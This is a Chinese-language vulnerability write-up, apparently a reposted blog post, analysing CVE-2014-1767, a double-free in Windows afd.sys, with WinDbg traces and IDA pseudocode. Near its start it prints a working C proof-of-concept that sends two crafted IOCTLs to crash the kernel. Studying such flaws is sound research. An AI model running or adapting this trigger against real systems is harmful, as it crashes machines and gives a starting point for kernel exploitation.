zoukankan      html  css  js  c++  java
  • CVE-2014-1767

    [0x00].简介 

    CVE-2014-1767漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

    测试环境:

      推荐环境 备注
    虚拟机环境 Win 7 32位
    编译器 VC6.0  
    调试器 Windbg  
    反编译器 IDA pro  

     [0x01].漏洞分析

     首先在VC6上编译以下用于触发漏洞的poc代码,然后在虚拟机中运行生成的poc.exe.同时挂载内核调试器进行分析

    #include <windows.h>
    #include <stdio.h>
    #pragma comment(lib, “WS2_32.lib”)
     
    int main()
    {
        DWORD targetSize = 0×310 ;
        DWORD virtualAddress = 0×13371337 ;
        DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ;
        static DWORD inbuf1[100] ;
        memset(inbuf1, 0, sizeof(inbuf1)) ;
        inbuf1[6]  = virtualAddress ;
        inbuf1[7]  = mdlSize ;
        inbuf1[10] = 1 ;
        static DWORD inbuf2[100] ;
        memset(inbuf2, 0, sizeof(inbuf2)) ;
        inbuf2[0] = 1 ;
        inbuf2[1] = 0x0AAAAAAA ;
        WSADATA      WSAData ;
        SOCKET       s ;
        sockaddr_in  sa ;
        int          ierr ;
        WSAStartup(0×2, &WSAData) ;
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
        memset(&sa, 0, sizeof(sa)) ;
        sa.sin_port = htons(135) ;   
        sa.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1″) ;
        sa.sin_family = AF_INET ; 
        ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;
        static char outBuf[100] ;
        DWORD bytesRet ;
        DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL);
        DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL);
        return 0 ;
    }
    

    POC主要做了这么两件事:

    1. 初始化了一个本地socket连接。
    
    2. 给这个socket发送了两个控制码:0x1207F和0x120C3。

    运行后系统崩溃,在Windbg调试器断下

    kd> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Bugcheck Analysis                                    *
    *                                                                             *
    *******************************************************************************
    
    BAD_POOL_CALLER (c2)
    The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
    Arguments:
    Arg1: 00000007, Attempt to free pool which was already freed
    Arg2: 0000109b, (reserved)
    Arg3: 08bd0004, Memory contents of the pool block
    Arg4: 87686218, Address of the block of pool being deallocated
    
    Debugging Details:
    ------------------
    
    
    POOL_ADDRESS:  87686218 Nonpaged pool
    
    FREED_POOL_TAG:  Mdl 
    
    BUGCHECK_STR:  0xc2_7_Mdl 
    
    DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT
    
    PROCESS_NAME:  poc.exe
    
    CURRENT_IRQL:  2
    
    LAST_CONTROL_TRANSFER:  from 83f1a08f to 83eb6110
    
    STACK_TEXT:  
    a899154c 83f1a08f 00000003 ef6507c2 00000065 nt!RtlpBreakWithStatusInstruction
    a899159c 83f1ab8d 00000003 87686210 000001ff nt!KiBugCheckDebugBreak+0x1c
    a8991960 83f5bc6b 000000c2 00000007 0000109b nt!KeBugCheck2+0x68b
    a89919d8 83ec7eb2 87686218 00000000 87677c48 nt!ExFreePoolWithTag+0x1b1
    a89919ec 9085ceb0 87686218 00000000 9083f89f nt!IoFreeMdl+0x70
    a8991a08 9083f8ac 00000000 00000001 381a49ac afd!AfdReturnTpInfo+0xad
    a8991a44 90840bba 381a4904 000120c3 90840a8c afd!AfdTliGetTpInfo+0x89
    a8991aec 908452bc 87678c90 869b2848 a8991b14 afd!AfdTransmitPackets+0x12e
    a8991afc 83e72593 869b2848 86c63160 86c63160 afd!AfdDispatchDeviceControl+0x3b
    a8991b14 8406598f 87678c90 86c63160 86c6323c nt!IofCallDriver+0x63
    a8991b34 84068b61 869b2848 87678c90 00000000 nt!IopSynchronousServiceTail+0x1f8
    a8991bd0 840af3fc 869b2848 86c63160 00000000 nt!IopXxxControlFile+0x6aa
    a8991c04 83e791ea 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
    a8991c04 777c70b4 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
    0012fc8c 777c5864 75b6989d 00000050 00000000 ntdll!KiFastSystemCallRet
    0012fc90 75b6989d 00000050 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
    0012fcf0 771aa671 00000050 000120c3 00427c50 KERNELBASE!DeviceIoControl+0xf6
    0012fd1c 00401186 00000050 000120c3 00427c50 kernel32!DeviceIoControlImplementation+0x80
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0012ff48 004013b9 00000001 006e0de8 006e0e40 poc+0x1186
    0012ff88 771b3c45 7ffd4000 0012ffd4 777e37f5 poc+0x13b9
    0012ff94 777e37f5 7ffd4000 7795f253 00000000 kernel32!BaseThreadInitThunk+0xe
    0012ffd4 777e37c8 004012d0 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
    0012ffec 00000000 004012d0 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  kb
    
    FOLLOWUP_IP: 
    afd!AfdReturnTpInfo+ad
    9085ceb0 ff45fc          inc     dword ptr [ebp-4]
    

    目前,我们可以知道:

    出问题的是afd.sys模块,漏洞的类型为double free,free 的对象是Mdl,并且发生崩溃时存在这样的调用关系:
    
    afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl

    根据上面加粗的提示可以知道,由于此处重复释放一块已经释放的内存,导致双重释放(double free)才引发崩溃。在poc中,程序两次调用DeviceIoControl,分别向IO控制码0x1207F0x120C3发送数据,因此我们直接从这两个IO控制码的分发函数入手。

    要找到这个对应关系,有这样的调试技巧:用户层的IoControl消息到都会被内核包装成IRP包,发送给对应驱动的IRP_MJ_DEVICE_CONTROL例程来处理,IRP_MJ_DEVICE_CONTROL例程会根据控制码来选择对应的函数。

    Windbg为我们提供了这样的功能:

    kd> !drvobj AFD 2
    Driver object (869b23c8) is for:
     DriverAFD
    DriverEntry:   9086863d	afd!GsDriverEntry
    DriverStartIo: 00000000	
    DriverUnload:  9083d5b6	afd!AfdUnload
    AddDevice:     00000000	
    
    Dispatch routines:
    [00] IRP_MJ_CREATE                      90847190	afd!AfdDispatch
    [01] IRP_MJ_CREATE_NAMED_PIPE           90847190	afd!AfdDispatch
    [02] IRP_MJ_CLOSE                       90847190	afd!AfdDispatch
    [03] IRP_MJ_READ                        90847190	afd!AfdDispatch
    [04] IRP_MJ_WRITE                       90847190	afd!AfdDispatch
    [05] IRP_MJ_QUERY_INFORMATION           90847190	afd!AfdDispatch
    [06] IRP_MJ_SET_INFORMATION             90847190	afd!AfdDispatch
    [07] IRP_MJ_QUERY_EA                    90847190	afd!AfdDispatch
    [08] IRP_MJ_SET_EA                      90847190	afd!AfdDispatch
    [09] IRP_MJ_FLUSH_BUFFERS               90847190	afd!AfdDispatch
    [0a] IRP_MJ_QUERY_VOLUME_INFORMATION    90847190	afd!AfdDispatch
    [0b] IRP_MJ_SET_VOLUME_INFORMATION      90847190	afd!AfdDispatch
    [0c] IRP_MJ_DIRECTORY_CONTROL           90847190	afd!AfdDispatch
    [0d] IRP_MJ_FILE_SYSTEM_CONTROL         90847190	afd!AfdDispatch
    [0e] IRP_MJ_DEVICE_CONTROL              90845281	afd!AfdDispatchDeviceControl
    [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     90825831	afd!AfdWskDispatchInternalDeviceControl
    

     这样就可以得到afd.sys对应的IRP_MJ_DEVICE_CONTROL例程为afd!AfdDispatchDeviceControl,利用IDA对该函数简单分析后,其大致流程如下:

    PAGEAFD:000314C9 ; int __stdcall AfdDispatchDeviceControl(int, PIRP Irp)
    PAGEAFD:000314C9 _AfdDispatchDeviceControl@8 proc near   ; CODE XREF: AfdDispatch(x,x)+3C↓p
    PAGEAFD:000314C9                                         ; DATA XREF: DriverEntry(x,x)+2FA↓o
    PAGEAFD:000314C9
    PAGEAFD:000314C9 Irp             = dword ptr  0Ch
    PAGEAFD:000314C9
    PAGEAFD:000314C9                 mov     edi, edi
    PAGEAFD:000314CB                 push    ebp
    PAGEAFD:000314CC                 mov     ebp, esp
    PAGEAFD:000314CE                 mov     ecx, [ebp+Irp]  ; Irp
    PAGEAFD:000314D1                 mov     edx, [ecx+60h]  ; edx = IrpStackLocation
    PAGEAFD:000314D4                 push    esi
    PAGEAFD:000314D5                 push    edi
    PAGEAFD:000314D6                 mov     edi, [edx+0Ch]  ; edi = DeviceIoControl的控制码
    PAGEAFD:000314D9                 mov     eax, edi
    PAGEAFD:000314DB                 shr     eax, 2          ; IoControl>>2
    PAGEAFD:000314DE                 and     eax, 3FFh       ; 将控制码的高位都清零,这样就只剩下IoControl的功能号了
    PAGEAFD:000314E3                 cmp     eax, 46h
    PAGEAFD:000314E6                 jnb     short loc_31506
    PAGEAFD:000314E8                 mov     esi, eax
    PAGEAFD:000314EA                 shl     esi, 2
    PAGEAFD:000314ED                 cmp     ds:_AfdIoctlTable[esi], edi
    PAGEAFD:000314F3                 jnz     short loc_31506
    PAGEAFD:000314F5                 mov     [edx+1], al
    PAGEAFD:000314F8                 mov     esi, ds:_AfdIrpCallDispatch[esi]
    PAGEAFD:000314FE                 test    esi, esi
    PAGEAFD:00031500                 jz      short loc_31506
    PAGEAFD:00031502                 call    esi             ; 调用控制码对应的函数
    

    1.IO控制码0x1207F

    为了跟踪Io控制码0x1207F对应的处理函数,首先在Windbg中针对afd!AfdDispatchDeviceControl设置条件断点,当其在处理io控制码0x1207F时断下。

    kd> ba e1 afd!AfdDispatchDeviceControl+10 ".if(@edi==0x1207F){}.else{gc}"
    kd> g
    
    afd!AfdDispatchDeviceControl+0x39:
    9065d2ba ffd6            call    esi
    kd> t
    afd!AfdTransmitFile:

    可以看到当IOCTL为0x1207F时,afd驱动中的AfdTransmitFile函数会被调用

    AfdTransmitFile函数原型为

    AfdTransmitFile(pIRP,pIoStackLocation)
    
    pIRP各字段含义
    kd> dt _IRP
    ntdll!_IRP
       +0x000 Type             : Int2B
       +0x002 Size             : Uint2B
       +0x004 MdlAddress       : Ptr32 _MDL
       +0x008 Flags            : Uint4B
       +0x00c AssociatedIrp    : <unnamed-tag>
       +0x010 ThreadListEntry  : _LIST_ENTRY
       +0x018 IoStatus         : _IO_STATUS_BLOCK
       +0x020 RequestorMode    : Char
       +0x021 PendingReturned  : UChar
       +0x022 StackCount       : Char
       +0x023 CurrentLocation  : Char
       +0x024 Cancel           : UChar
       +0x025 CancelIrql       : UChar
       +0x026 ApcEnvironment   : Char
       +0x027 AllocationFlags  : UChar
       +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
       +0x02c UserEvent        : Ptr32 _KEVENT
       +0x030 Overlay          : <unnamed-tag>
       +0x038 CancelRoutine    : Ptr32     void 
       +0x03c UserBuffer       : Ptr32 Void
       +0x040 Tail             : <unnamed-tag>
    pIoStackLocation各字段含义
    kd> dt _IO_STACK_LOCATION
    ntdll!_IO_STACK_LOCATION
       +0x000 MajorFunction    : UChar
       +0x001 MinorFunction    : UChar
       +0x002 Flags            : UChar
       +0x003 Control          : UChar
       +0x004 Parameters       : <unnamed-tag>
       +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT
       +0x018 FileObject       : Ptr32 _FILE_OBJECT
       +0x01c CompletionRoutine : Ptr32     long 
       +0x020 Context          : Ptr32 Void
    
    //Paramaters for IRP_MJ_DEVICE_CONTROL
    struct{
            ULONG OutputBufferLength;
            ULONG POINTER_ALIGNMENT InputBufferLength;
            ULONG POINTER_ALIGNMENT IoControlCode;
            PVOID Type3InputBuffer;
    }DeviceIoControl;

    在ida里查看AfdTransmitFile函数

    v2 = pIoStackLocation;
      v64 = pIoStackLocation;
      v3 = pIRP;
      v62 = pIRP;
      Entry = 0;
      v70 = 0;
      v69 = 0;
      v4 = *(_DWORD *)(*(_DWORD *)(pIoStackLocation + 0x18) + 0xC); //FsContext
      v63 = v4;
      if ( *(_WORD *)v4 == 0x1AFD ) //FsContext != 0x1AFD,防止跳转
      {
        v68 = -1073741574;
        goto LABEL_97;
      }
      if ( *(_DWORD *)(v2 + 8) < 0x30u ) //InputbufferLength >= 0x30 ,防止跳转
      {
        v68 = -1073741811;
        goto LABEL_97;
      }
      v68 = 0;
      ms_exc.registration.TryLevel = 0;
      if ( *(_BYTE *)(pIRP + 0x20) ) //RequestorMode
      {
        v5 = *(_DWORD *)(v2 + 0x10);
        if ( v5 & 3 ) //Type3InputBuffer & 3 == 0 ,防止跳转
          ExRaiseDatatypeMisalignment();
        if ( v5 >= AfdUserProbeAddress )
          v5 = AfdUserProbeAddress;
        v6 = *(_BYTE *)v5;
      }
      qmemcpy(&v45, *(const void **)(v64 + 0x10), 0x30u);
    //v54 = v45 + 0x28, Handle = v45 + 0x14, v46 = v45 + 0x4
    //因此只有当 (Type3InputBuffer + 0x28) & 0xFFFFFFC8 == 0 , (Type3InputBuffer + 0x28) & 0x30 != 48 , Type3InputBuffer + 0x4 >= 0,就不会跳转
      if ( v54 & 0xFFFFFFC8 || (v54 & 0x30) == 48 || Handle && v46 < 0 )
      {
        v68 = -1073741811;
        goto LABEL_96;
      }
      if ( !(v54 & 0x30) ) //
        v54 |= AfdDefaultTransmitWorker;
      if ( *(_DWORD *)(v4 + 8) & 0x200 )
        v7 = AfdTliGetTpInfo(3u); //从函数调用栈可知AfdTliGetTpInfo函数被调用

    接着看AfdTliGetTpInfo函数

    _DWORD *__fastcall AfdTliGetTpInfo(unsigned int a1)
    {
      unsigned int v1; // edi
      _DWORD *tpinfo; // eax
      _DWORD *v3; // esi
    
      v1 = a1;
    //从non-paged链节点里分配内存,返回TpInfo结构指针 tpinfo = ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&AfdGlobalData[6].ContentionCount); v3 = tpinfo; if ( !tpinfo ) return 0;
    //设置Tpinfo结构数据 tpinfo[2] = 0; tpinfo[3] = 0; tpinfo[4] = tpinfo + 3; tpinfo[5] = 0; tpinfo[6] = tpinfo + 5; tpinfo[13] = 0; *((_BYTE *)tpinfo + 51) = 0; tpinfo[9] = 0; tpinfo[11] = -1; tpinfo[15] = 0; tpinfo[1] = 0;
    //v1 > 3,之后都称v1为TpInfoElementCount if ( v1 > AfdDefaultTpInfoElementCount ) {
    //TpInfoElement结构大小为0x18
    //将分配后的pTpInfoElement指针存在tpinfo+0x20的位置 tpinfo[8] = ExAllocatePoolWithQuotaTag((POOL_TYPE)16, 0x18 * v1, 0xC6646641); *((_BYTE *)v3 + 50) = 1; } return v3; }

    继续回到AfdTransmitFile函数中

    if ( *(_DWORD *)(v4 + 8) & 0x200 )
        v7 = AfdTliGetTpInfo(3u);
      else
        v7 = (_DWORD *)AfdTdiGetTpInfo(3);
      v8 = v7;//v8,v7都指向tpinfo结构
      Entry = v7;
      if ( !v7 )
        goto LABEL_21;
      v9 = v7 + 10;//v9 = tpinfo + 0xA
      v66 = v9;
      *v9 = 0;
      v10 = v8 + 14;
      v59 = v10;
      v11 = v48;
      *v10 = v48;
      if ( v11 )
        v69 = 1;
      else
        *v10 = AfdTransmitIoLength;//tpinfo + 0xE = AfdTransmitIoLength
      v12 = Length;
      if ( Length )
      {
    //可以看出v66为TpInfoElementIndex,所以用来乘以TpinfoElemnet结构大小0x18
    //因此v65就是指向具体的TpinfoElement数组元素 v13 = *v66; v65 = (_DWORD *)(v8[8] + 24 * *v66); v14 = v65; *v66 = v13 + 1; v15 = VirtualAddress; v14[2] = VirtualAddress;//TpinfoElemnet + 8 = VirtualAddress v14[1] = v12;//TpinfoElement + 4 = Length *v14 = 1; if ( v54 & 0x10 ) { *v14 = -2147483647; v16 = IoAllocateMdl(v15, v12, 0, 1u, 0); v14[3] = v16;//TpinfoElement + 0xc = pMDL,指向分配的Mdl if ( !v16 ) goto LABEL_21; MmProbeAndLockPages(v16, *(_BYTE *)(v3 + 32), 0);//锁定内存 } }

    根据前面的分析,我们可以大致绘制出Tpinfo和TpInfoElement的数据结构

    在AfdTransmitFile函数调用完IoAllocateMdl分配完内存后,单步跟踪下去,它会调用MmProAndLockPages去锁定内存范围0x13371000~0x13371000+0x16ecca(均是由Poc中的代码设置的值)

    该范围属于无效范围,因此会触发异常。

    触发异常后,程序会调用AfdReturnTpInfo函数,在该函数中,由于在是否MDL资源后,未对TpInfoElement + 0xC指针做清除处理,导致其成为“悬挂指针”。

    void __stdcall AfdReturnTpInfo(PVOID Entry, char a2)
    {
    ... ...
            v6 = *(_DWORD *)(v4 + 12);
            if ( v6 )
            {
              if ( *(_BYTE *)(v6 + 6) & 2 )
                MmUnlockPages(*(PMDL *)(v4 + 12));
              IoFreeMdl(*(PMDL *)(v4 + 0xC));
            }
    ... ...
    }
    

    如果此时AfdReturnTpInfo函数再被调用,那么悬挂指针TpInfoElement + 0xC将会被IoFreeMdl函数再free一遍,最终造成“double free”双重释放漏洞

     2.IO控制码0x120C3

    继续下条件断点,追踪Io控制码0x120C3对应的处理函数,可以发现它调用的是AfdTransmitPackets函数,

    kd> kb
    ChildEBP RetAddr  Args to Child              
    a1f77a08 8a5b98ac 87feb358 00000001 2bad8e95 afd!AfdReturnTpInfo
    a1f77a44 8a5babba 2bad8e3d 000120c3 8a5baa8c afd!AfdTliGetTpInfo+0x89
    a1f77aec 8a5bf2bc 87d4ee10 8692c5d0 a1f77b14 afd!AfdTransmitPackets+0x12e
    a1f77afc 83e55593 8692c5d0 87f31b10 87f31b10 afd!AfdDispatchDeviceControl+0x3b
    
    afd!AfdTransmitPackets函数的两个参数分别是pIRP和pIoStackLocation,在ida中对其进行分析
     __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
    {
        IoStack->InputBufferLength >= 0×10
        IoStack->Type3InputBuffer & 3 == 0
        IoStack->Type3InputBuffer < 0x7fff0000
        memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10);
        *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
        *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30
        *(DWORD*)(tempBuf) != 0
        *(DWORD*)(tempBuf+4) != 0
        *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA
     
        // 以上条件关系全部成立则控制流达到此处,
        // 用户输入 可以控制 申请的TpElement数目 !!!
        AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
    }
    

    关于AfdTliGetTpinfo函数,前面已经逆向分析过,它会调用ExAllocatePoolWithQuotaTag分配*(Type3InputBuffer + 4)个TpinfoElement所需要的内存。在poc中设置为0x0AAAAAAA,而每个TpInfoElement结构占0x18字节,因此共需要申请内存0xFFFFFFF0,这么大的内存申请在32位系统上不会成功,会触发异常再次进入AfdReturnTpInfo函数中。

    AfdReturnTpInfo函数会再次释放Mdl结构,可以发现它此时释放的正是之前释放的那个,由此造成Double Free漏洞

    [0x02].总结

    整个漏洞的流程如下。

    POC创建了一个以socket为基础的本地网络连接,调用DeviceIoControl向socket对象分别发送两个控制码0x1207F和0x120C3,这两次控制码分别对应afd.sys的AfdTransmitFile和AfdTransmitPackets。

    IOControl=0x1207F

    1. AfdTransmitFile会调用AfdTliGetTpInfo来获得一个TpInfo结构

    2. 接着AfdTransmitFile根据用户层传递过来的VirtualAddress=0x13371337和Length来创建一个Mdl,用来和用户层交互,并将这个Mdl的地址保存到TpInfo结构中的TpElementArray数组中。

    3. AfdTransmitFile接着调用MmProbeAndLockPages函数,准备对申请的Mdl进行操作,但是由于无效的地址(VirtualAddress=0x13371337),程序进入到异常处理的流程中。

    4. 异常处理流程会调用AfdReturnTpInfo函数,AfdReturnTpInfo函数遍历TpInfo结构的TpElementArray数组,将Mdl释放掉。接着其会调用ExFreeToNPagedLookasideList释放刚创建的TpInfo。

    5. 但是因为此时这个Lookaside很"闲",ExFreeToNPagedLookasideList不会将TpInfo释放掉,而是将其挂载到Dedicated Lookaside List中去。但此时TpInfo所在pool数据还保留着,并没有清空,当然也包括已经释放掉的Mdl地址,成了一个dangling pointer,这里就埋下了隐患。这是第一次free的地方。

    第一次IoControl的操作主要就是放置一个dangling pointer到Lookaside Lists中。

    第二次IoControl对这个dangling pointer进行二次释放。

    IOControl=0x120C3

    1. 接下来AfdTransmitPackets同样会调用AfdTliGetTpInfo创建一个TpInfo结构。AfdTliGetTpInfo会调用ExAllocateFromNPagedLookasideList。因为此时的Lookaside Lists不为空,所以会从中卸载一个ListEntry给TpInfo使用,而此时Lookaside就只有一个上一次AfdTransmitFile函数放入的ListEntry,所以这个ListEntry正好是响应上一个控制码所放进去的那个!

    2. 接着AfdTliGetTpInfo会从用户层输入inbuf2[1]获得值0x0AAAAAAA,作为TpElementCount,接下来会创建一个0x0AAAAAAA*0x18=0xFFFFFFF0大小的pool,这显然太大了,所以会再一次的进去到异常处理的操作。

    3. 异常处理会调用AfdReturnTpInfo,其会遍历TpInfo尝试释放掉Mdl。因为此时的TpInfo所在的pool正是" dangling pointer",而Mdl已经被释放过一次了,这时发生double-free。

    4. 然后发生BSOD。

  • 相关阅读:
    JavaScript——标准对象
    JavaScript——方法
    JavaScript——变量作用域
    移动开发程序员的悲哀是什么?
    腾讯14年老员工被公司恶意逼走!以不胜任工作为由被裁!腾讯对待老员工也太狠了吧?
    Android开发北漂 8 年,飘飘飘 飘够了。。。。
    我是双非/三本/专科学校的Android开发,我有机会进入大厂吗?
    Android开发3年,我转Java后台了,真香!
    我的字节跳动Android面试初体验——稀里糊涂结束战斗
    Android Studio 教程:入门开发第一个程序
  • 原文地址:https://www.cnblogs.com/elvirangel/p/8465690.html
Copyright © 2011-2022 走看看